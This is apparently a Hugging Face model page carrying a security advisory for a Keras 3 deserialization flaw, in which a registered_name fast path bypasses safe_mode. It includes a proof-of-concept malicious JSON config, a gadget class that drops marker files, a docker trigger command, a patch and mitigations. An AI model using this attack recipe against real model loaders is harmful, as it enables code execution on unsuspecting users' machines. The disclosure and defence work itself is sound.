Instructions to use FrankLin00/keras-mfv-poc-004-registered-name-bypass with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use FrankLin00/keras-mfv-poc-004-registered-name-bypass with Keras:
# Available backend options are: "jax", "torch", "tensorflow". import os os.environ["KERAS_BACKEND"] = "jax" import keras model = keras.saving.load_model("hf://FrankLin00/keras-mfv-poc-004-registered-name-bypass") - Notebooks
- Google Colab
- Kaggle
[internal-id: KERAS-MFV-004] registered_name fast path bypasses safe_mode deserialization gate
Severity: CVSS 3.1 7.0 High baseline (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).
Worst-case (a side-effecting @register_keras_serializable class is import-time
present in the victim — e.g. via sitecustomize/.pth, a keras_hub/keras_cv/keras_nlp
plugin, or an enterprise registry auto-imported at startup) drops AC from H to L,
yielding CVSS 8.4 High (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
CWE: CWE-502 (Deserialization of Untrusted Data).
Affected versions: Keras >= 3.0.0, <= 3.15.0 (HEAD 42b66280e, 2026-05-01).
The fast-path block at the top of _retrieve_class_or_fn is present in every
released Keras 3 line; git show v3.0.0:keras/saving/serialization_lib.py and
git show v3.2.0:keras/saving/serialization_lib.py both contain the identical
code. The most recent touch on serialization is
a7316d512 Reject unused registered_name in deserialize_keras_object (#22729),
which strengthens the non-registry path but preserves the registry fast-path
("Custom objects that resolve via get_registered_object are unaffected.").
Component: keras/src/saving/serialization_lib.py (sink — _retrieve_class_or_fn),
keras/src/saving/object_registration.py (the registry consulted by the sink),
keras/src/trainers/trainer.py (realistic call site — compile_from_config).
Reporter: Independent security research (NTU academic vulnerability research project).
Summary
Keras safe_mode=True (the default for keras.saving.load_model) is intended
to prevent attacker-controlled .keras artifacts from running arbitrary
Python. The intended invariant — visible in the package allow-list at
keras/src/saving/serialization_lib.py:840 and the KerasSaveable subclass
check at line 844 — is "only classes from the keras / keras_hub /
keras_cv / keras_nlp packages that are also KerasSaveable subclasses
may be instantiated".
That invariant is broken by the registered-object fast path at lines
782–791 of the same file. Before any allow-list, _retrieve_class_or_fn
consults get_registered_object(...) against the process-global table
GLOBAL_CUSTOM_OBJECTS (object_registration.py:6, populated by every
@register_keras_serializable decorator on import). If the attacker-
supplied registered_name matches any entry, the class is returned
immediately — before the package allow-list, before the KerasSaveable
check, and without consulting safe_mode at all. The deserializer then
calls cls.from_config(...) (line 737) and the trainer calls
cls(**config) (trainer.py:1003), so both from_config and __init__
of the attacker-chosen class run.
This is a conditional RCE: the attacker class must already be in
GLOBAL_CUSTOM_OBJECTS at load time, e.g. via sitecustomize/.pth, a
third-party Keras-ecosystem package the victim imports, or any __init__.py
chain that pulls a registered class in transitively. The PoC below
reproduces the RCE end-to-end at default safe_mode=True.
Impact
- Code execution at default
safe_mode=True, bypassing the documented security model. Noenable_unsafe_deserialization(), nosafe_mode=False, nocustom_objects=kwarg is required — justkeras.saving.load_model("evil.keras"). - Attack chain: any third-party package shipping a
@register_keras_serializableclass with a side-effecting__init__orfrom_configbecomes a single-shot gadget. The attacker delivers a.keraswhosecompile_config.loss(oroptimizer,metrics, any nested field) carries the matchingregistered_name. - Realistic surfaces: the
keras_hub/keras_cv/keras_nlpplugin universe (any registered class with non-trivial__init__); enterprise model zoos that register loss/metric/optimizer classes in their package__init__.py;sitecustomize.py/*.pthinjection (turning a "two-step file write" primitive into RCE). - Every
compile_configfield is a gateway.loss,metrics,optimizer,loss_weights,weighted_metricsall flow throughserialization_lib.deserialize_keras_objectattrainer.py:1002. - Silent bypass. The user has no in-product signal; in the PoC the
only visible consequence is a
ValueErrorfrom the (zero-byte) weights mismatch, which appears after the attacker code has already run.
Affected Versions
- First vulnerable release: Keras
3.0.0(2023-11-27). The fast-path block predates the allow-list gate added in713172ab5 Only allow deserialization of KerasSaveable's by module and name. (#21429), so every released Keras 3 line is vulnerable. - Last vulnerable at HEAD: Keras
3.15.0(HEAD42b66280e,keras/src/version.py:4). - Reproduction: HEAD
42b66280eagainst PoC imagekeras-poc:deps. Log/home/zitu/mfv/poc/T2B/artifacts/run-output.loglines 90–97 show Variant F droppingpoc-marker-T2B-regloss-initandpoc-marker-T2B-regloss-from_configunder defaultsafe_mode=True. - The "Reject raw callables" hardening on the Jules-bot PR branch
(
_check_for_raw_callables/UNSAFE_TYPES) is not on master —grep -rn '_check_for_raw_callables\|UNSAFE_TYPES' keras/src/returns zero hits. It targets a different vector (raw callables) and would not block this attack even if merged.
Vulnerability Details
Root cause
keras/src/saving/serialization_lib.py:777-791:
def _retrieve_class_or_fn(
name, registered_name, module, obj_type, full_config, custom_objects=None
):
# If there is a custom object registered via
# `register_keras_serializable()`, that takes precedence.
if obj_type == "function":
custom_obj = object_registration.get_registered_object(
name, custom_objects=custom_objects
)
else:
custom_obj = object_registration.get_registered_object(
registered_name, custom_objects=custom_objects
)
if custom_obj is not None:
return custom_obj
get_registered_object (object_registration.py:191-230) consults, in
order: the active CustomObjectScope dict, the process-global
GLOBAL_CUSTOM_OBJECTS table (populated by every
@register_keras_serializable(...) decorator on import —
object_registration.py:151), the user-supplied custom_objects dict,
and finally module_objects. Any imported module that decorates classes
contributes entries to the table consulted by the fast path.
The trust-enforcing gate lives further down the same function at lines 838–856:
# keras/src/saving/serialization_lib.py:839-850
package = module.split(".", maxsplit=1)[0]
if package in {"keras", "keras_hub", "keras_cv", "keras_nlp"}:
try:
mod = importlib.import_module(module)
obj = vars(mod).get(name, None)
if isinstance(obj, type) and issubclass(obj, KerasSaveable):
return obj
else:
raise ValueError(
f"Could not deserialize '{module}.{name}' because "
"it is not a KerasSaveable subclass"
)
The intended invariant ("only vetted-package, KerasSaveable classes
may be instantiated") is violated by the earlier fast-path block whenever
the victim has any non-built-in registered class — which is the steady
state for any real pipeline using a third-party Keras package.
Why safe_mode=True doesn't help
safe_mode is honoured in exactly two places along this code path:
deserialize_keras_object raises on the __lambda__ marker (line
660–669), and SafeModeScope (line 734) propagates the flag via
in_safe_mode() (line 516). _retrieve_class_or_fn does not
consult safe_mode at all; the registry is implicitly treated as
user-curated. The docstring at line 504–511 hedges that safe_mode
"does not provide isolation from the local Python environment" — but
the property users actually rely on (an attacker-supplied file should
not be able to pick which class's __init__ runs) is silently violated.
compile_config as the realistic delivery channel
A standard .keras file's config.json carries a top-level
compile_config dict (loss, metrics, optimizer, …). Load path:
saving_lib.load_model(filepath, safe_mode=True)(saving_lib.py:325)._load_model_from_fileobjcalls_model_from_config(..., safe_mode=True)(saving_lib.py:434–441).instance.compile_from_config(compile_config)runs inside aSafeModeScope(safe_mode)(saving_lib.py:734–754).Trainer.compile_from_config(trainer.py:980-1003) callsserialization_lib.deserialize_keras_object(config)—safe_modeis inherited viaSafeModeScope(serialization_lib.py:516–517).- Recursion lands in
_retrieve_class_or_fnfor each compile field.
The minimal attacker JSON sub-document:
{"compile_config": {"optimizer": "adam",
"loss": {"module": "evil_module", "class_name": "EvilRegLoss",
"config": {}, "registered_name": "EvilPkg>EvilRegLoss"},
"metrics": null, "loss_weights": null, "weighted_metrics": null,
"run_eagerly": false, "steps_per_execution": 1, "jit_compile": false}}
_retrieve_class_or_fn is called with
registered_name="EvilPkg>EvilRegLoss"; the fast path hits, the attacker
class is returned, cls.from_config({}) runs.
from_config as the side-effect entry point
deserialize_keras_object (serialization_lib.py:735–737) calls
cls.from_config(inner_config). Most Keras objects implement
from_config as cls(**config), so __init__ runs. Then
Trainer.compile_from_config (trainer.py:1003) calls
self.compile(**config), constructing the loss a second time. Both
invocations execute attacker-chosen Python — a single load triggers
from_config and __init__ deterministically.
Variants tested
PoC /home/zitu/mfv/poc/T2B/build.py covers eight delivery shapes for
compile_config.loss. Full results in
/home/zitu/mfv/poc/T2B/artifacts/run-output.log.
| Variant | Shape | Result |
|---|---|---|
| A | module="evil_module", class_name="EvilLoss" |
TypeError: package allow-list (line 840) |
| B | module="evil_module", class_name="function" |
TypeError: same gate |
| C | A + registered_name="Custom>EvilLoss" (no decorator on class) |
TypeError: name not in GLOBAL_CUSTOM_OBJECTS |
| D | module="keras_hub", fake class |
TypeError: package allowed but not installed |
| E | Real keras.losses.MeanSquaredError |
Loads MSE; no markers |
| F | registered_name="EvilPkg>EvilRegLoss" + evil_module imported |
MARKERS DROPPED (regloss-init, regloss-from_config) |
| G | A but in compile_config.optimizer |
TypeError: same gate |
| H | Real MSE carrying nested evil_module config |
TypeError on inner; no evil |
A, B, C, G, H confirm the allow-list works as designed; without
registered_name and a registered match in the global table, the
attack is rejected. F is the only one that succeeds — the fast-path
bypass is the entire vulnerability.
Proof of Concept
Environment
Docker image keras-poc:deps. Keras source tree at /keras-src (read-only),
PoC payload at /poc, both on PYTHONPATH.
Malicious module
/home/zitu/mfv/poc/T2B/evil_module/__init__.py:55-73:
from keras.saving import register_keras_serializable
@register_keras_serializable(package="EvilPkg", name="EvilRegLoss")
class EvilRegLoss:
def __init__(self, *args, **kwargs):
_drop_marker("regloss-init")
def get_config(self):
return {}
@classmethod
def from_config(cls, config):
_drop_marker("regloss-from_config")
return cls()
/home/zitu/mfv/poc/T2B/build.py:215–232 packs Variant F's
compile_config.loss (JSON shown above) as a .keras ZIP at
/poc/artifacts/evil_f_regname.keras.
Trigger (default args, default safe_mode=True)
docker run --rm \
-v /home/zitu/mfv/keras:/keras-src:ro \
-v /home/zitu/mfv/poc/T2B:/poc \
-e PYTHONPATH=/keras-src:/poc \
-e KERAS_BACKEND=jax \
keras-poc:deps \
python -c "import evil_module; import keras; \
keras.saving.load_model('/poc/artifacts/evil_f_regname.keras')"
import evil_module simulates the realistic case: the registered class
is already in the victim process via sitecustomize, a keras_hub-like
ecosystem package, or any transitive __init__.py chain.
Evidence
The recorded run log
(/home/zitu/mfv/poc/T2B/artifacts/run-output.log:90–97) contains:
--- [evil_f_regname.keras (preimported)] /poc/artifacts/evil_f_regname.keras ---
EXCEPTION: ValueError: A total of 1 objects could not be loaded. ...
markers after: ['poc-marker-T2B-regloss-from_config', 'poc-marker-T2B-regloss-init']
The marker files prove EvilRegLoss.from_config({}) and
EvilRegLoss.__init__() ran during load. The trailing weights-mismatch
ValueError is incidental to the PoC's zero-byte weights; a weaponised
artifact carrying valid weights would surface no error.
Suggested Patch
Make the fast path enforce a module allow-list on the resolved object
before returning, gated on in_safe_mode(). Conservative form: fail
closed on any registered class whose __module__ is not a vetted Keras
package, exempting user-supplied custom_objects= (which the documented
contract treats as trusted).
--- a/keras/src/saving/serialization_lib.py
+++ b/keras/src/saving/serialization_lib.py
@@ -774,6 +774,18 @@ def _assert_no_registered_name_for_builtin(full_config, resolved_name, api_name)
)
+_VETTED_REGISTRY_PACKAGES = frozenset(
+ {"keras", "keras_hub", "keras_cv", "keras_nlp"}
+)
+
+
+def _is_vetted_registered_object(obj) -> bool:
+ """Trust-boundary check for the `get_registered_object` fast path."""
+ module = getattr(obj, "__module__", "") or ""
+ root = module.split(".", maxsplit=1)[0]
+ return root in _VETTED_REGISTRY_PACKAGES
+
+
def _retrieve_class_or_fn(
name, registered_name, module, obj_type, full_config, custom_objects=None
):
@@ -787,7 +799,22 @@ def _retrieve_class_or_fn(
custom_obj = object_registration.get_registered_object(
registered_name, custom_objects=custom_objects
)
- if custom_obj is not None:
- return custom_obj
+ if custom_obj is not None:
+ # In safe_mode the registered-object table is NOT a trust boundary:
+ # any imported third-party package may register side-effecting classes
+ # an attacker can name in `registered_name`. Enforce module allow-list;
+ # exempt user-supplied `custom_objects=` (the documented trust kwarg).
+ if in_safe_mode() and not _is_vetted_registered_object(custom_obj):
+ in_user_dict = bool(
+ custom_objects and registered_name in custom_objects
+ )
+ if not in_user_dict:
+ raise ValueError(
+ f"In safe_mode, refusing to instantiate {registered_name!r}"
+ f" resolved from non-vetted module "
+ f"{getattr(custom_obj, '__module__', '?')!r}. Pass "
+ f"`custom_objects=` explicitly, or call "
+ f"`keras.config.enable_unsafe_deserialization()`."
+ )
+ return custom_obj
This is ~25 lines (helper + gate). Three notes for maintainers:
- Trust-model decision being formalised. The current code implicitly
trusts
GLOBAL_CUSTOM_OBJECTSas a "user-curated" table; in practice it is populated by any decorator on any import. The patch makes the boundary explicit: insafe_mode, the table is trusted only for the four vetted package roots; anything else is re-confirmed by an explicitcustom_objects=. A stricter alternative limits the allow-list to{"keras"}only; a looser one disables the gate when the caller passes a non-emptycustom_objects=dict. - User-supplied
custom_objectsremains trusted. Thein_user_dictcheck preserves the documented contract. in_safe_mode()already exists atserialization_lib.py:516and is the correct hook —Trainer.compile_from_configdoes not passsafe_modeexplicitly, but inherits it viaSafeModeScope.
The safe_mode docstring at serialization_lib.py:504–511 should also
be updated to spell out the now-enforced registry invariant.
Mitigations (interim)
- Treat
keras.saving.load_model(path)as untrusted wheneverpathis attacker-influenced; sandbox loads (separate uid, container, seccomp). - Audit
GLOBAL_CUSTOM_OBJECTSafter import:Any entry with aimport keras for name, cls in keras.saving.get_custom_objects().items(): print(name, cls.__module__)__module__outsidekeras.*/keras_hub.*/keras_cv.*/keras_nlp.*is a potential gadget; review whether the corresponding__init__andfrom_configare side-effect-free. - If you ship a public Keras package using
@register_keras_serializable, verify your__init__andfrom_confighave no I/O,os.system, module-import side effects, oreval/exec. A registered class is part of your package's security-relevant surface. - Avoid loading
.kerasartifacts from untrusted sources in any process that importssitecustomizeplugins, in-house model zoos, or third-partyregister_keras_serializablepackages.
Credits
Reported by independent security research (NTU academic vulnerability research project), 2026-05-04.
Timeline
- 2026-05-04: Vulnerability discovered; eight-variant PoC built; RCE
reproduced under default
safe_mode=Trueagainst HEAD42b66280e(Keras 3.15.0). Markerspoc-marker-T2B-regloss-initandpoc-marker-T2B-regloss-from_configconfirm__init__andfrom_configexecute on the attacker-controlled class. - TBD: Reported to keras-security.
- TBD: Patch released; CVE assigned.
References
- CWE-502 (Deserialization of Untrusted Data)
- Keras commit
a7316d512 Reject unused registered_name in deserialize_keras_object (#22729)— partial hardening that strengthens the non-registry path but explicitly preserves the registry fast-path semantics, leaving this vulnerability open. - Keras commit
713172ab5 Only allow deserialization of KerasSaveable's by module and name. (#21429)— the package-allow-list gate that this advisory shows is bypassed by the fast path above it. - Keras commit
594055796 docs: clarify safe_mode limitations in deserialize_keras_object (#22469)— currentsafe_modedocstring; needs an additional note about registry trust once this issue is fixed. - PoC artifacts:
/home/zitu/mfv/poc/T2B/, full transcript at/home/zitu/mfv/poc/T2B/artifacts/run-output.log.
- Downloads last month
- -